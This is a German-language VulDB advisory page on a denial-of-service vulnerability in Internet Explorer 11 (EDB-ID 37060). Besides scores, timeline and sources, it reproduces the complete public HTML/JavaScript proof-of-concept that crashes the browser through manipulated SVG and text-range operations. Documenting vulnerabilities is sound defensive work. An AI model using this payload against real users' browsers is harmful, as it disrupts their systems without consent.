Microsoft Internet Explorer 11 Denial of Service

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
4.2$0-$5k0.00

Zusammenfassunginfo

Eine Schwachstelle, die als problematisch eingestuft wurde, wurde in Microsoft Internet Explorer 11 gefunden. Betroffen davon ist ein unbekannter Prozess. Die Veränderung resultiert in Denial of Service. Umgesetzt werden kann der Angriff über das Netzwerk. Desweiteren ist ein Exploit verfügbar.

Detailsinfo

In Microsoft Internet Explorer 11 (Web Browser) wurde eine problematische Schwachstelle ausgemacht. Hierbei betrifft es ein unbekannter Ablauf. Mittels Manipulieren mit einer unbekannten Eingabe kann eine Denial of Service-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-404. Die Auswirkungen sind bekannt für die Verfügbarkeit.

Am 26.06.2013 wurde der Fehler eingeführt. Die Schwachstelle wurde am 19.05.2015 durch Garage4Hackers als EDB-ID 37060 in Form eines bestätigten Exploits (Exploit-DB) öffentlich gemacht. Das Advisory findet sich auf exploit-db.com. Die Veröffentlichung passierte hierbei ohne Koordination mit Microsoft. Der Angriff kann über das Netzwerk angegangen werden. Um eine Ausnutzung durchzusetzen, muss keine spezifische Authentisierung umgesetzt werden. Eine Ausnutzung erfordert, dass das Opfer eine spezifische Handlung durchführt. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt. Diese Schwachstelle wird durch das MITRE ATT&CK als Angriffstechnik T1499 bezeichnet.

Ein öffentlicher Exploit wurde durch Garage4Hackers (Garage4Hackers) in HTML/Javascript programmiert und direkt nach dem Advisory veröffentlicht. Unter exploit-db.com wird der Exploit bereitgestellt. Er wird als funktional gehandelt. Mindestens 692 Tage galt die Schwachstelle als nicht öffentlicher Zero-Day. Während dieser Zeit erzielte er wohl etwa $5k-$25k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
*:nth-child(5)::before {
    content: 'moof';
}
*:nth-child(5)::after {
    content:'>>';
}
</style>
</HEAD><body>
<script>
elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')
elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem3 = document.createElement('dd')
elem4 = document.createElement('map')
elem5 = document.createElement('i')
elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
 
document.body.appendChild(elem0)
elem0.appendChild(elem1)
elem1.appendChild(elem2)
elem1.appendChild(elem3)
elem1.appendChild(elem4)
elem1.appendChild(elem5)
elem1.appendChild(elem6)
 
rangeTxt = document.body.createTextRange()      
randOldNode = document.documentElement.firstChild
randOldNode.parentNode.replaceChild(elem2, randOldNode)
rangeTxt.moveEnd('sentence', '-20')
 
</script>

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

Unter anderem wird der Fehler auch in den Datenbanken von X-Force (103298) und Exploit-DB (37060) dokumentiert. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Produktinfo

Typ

Hersteller

Name

Version

Lizenz

Support

Webseite

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 4.2

VulDB Base Score: 4.3
VulDB Temp Score: 4.2
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

Exploitinginfo

Klasse: Denial of Service
CWE: CWE-404
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Funktional
Autor: Garage4Hackers (Garage4Hackers)
Programmiersprache: 🔍
Download: 🔍
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Exploit-DB: 🔍

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: keine Massnahme bekannt
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

26.06.2013 🔍
19.05.2015 +692 Tage 🔍
19.05.2015 +0 Tage 🔍
19.05.2015 +0 Tage 🔍
21.05.2015 +2 Tage 🔍
07.04.2017 +687 Tage 🔍

Quelleninfo

Hersteller: microsoft.com

Advisory: EDB-ID 37060
Person: Garage4Hackers
Status: Bestätigt

GCVE (VulDB): GCVE-100-75499
X-Force: 103298 - Microsoft Internet Explorer denial of service

scip Labs: https://www.scip.ch/?labs.20161013

Eintraginfo

Erstellt: 21.05.2015 11:00
Aktualisierung: 07.04.2017 12:13
Anpassungen: 21.05.2015 11:00 (54), 07.04.2017 12:13 (2)
Komplett: 🔍
Cache ID: 216:1BB:103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

◂ ZurückÜbersichtWeiter ▸

Might our Artificial Intelligence support you?

Check our Alexa App!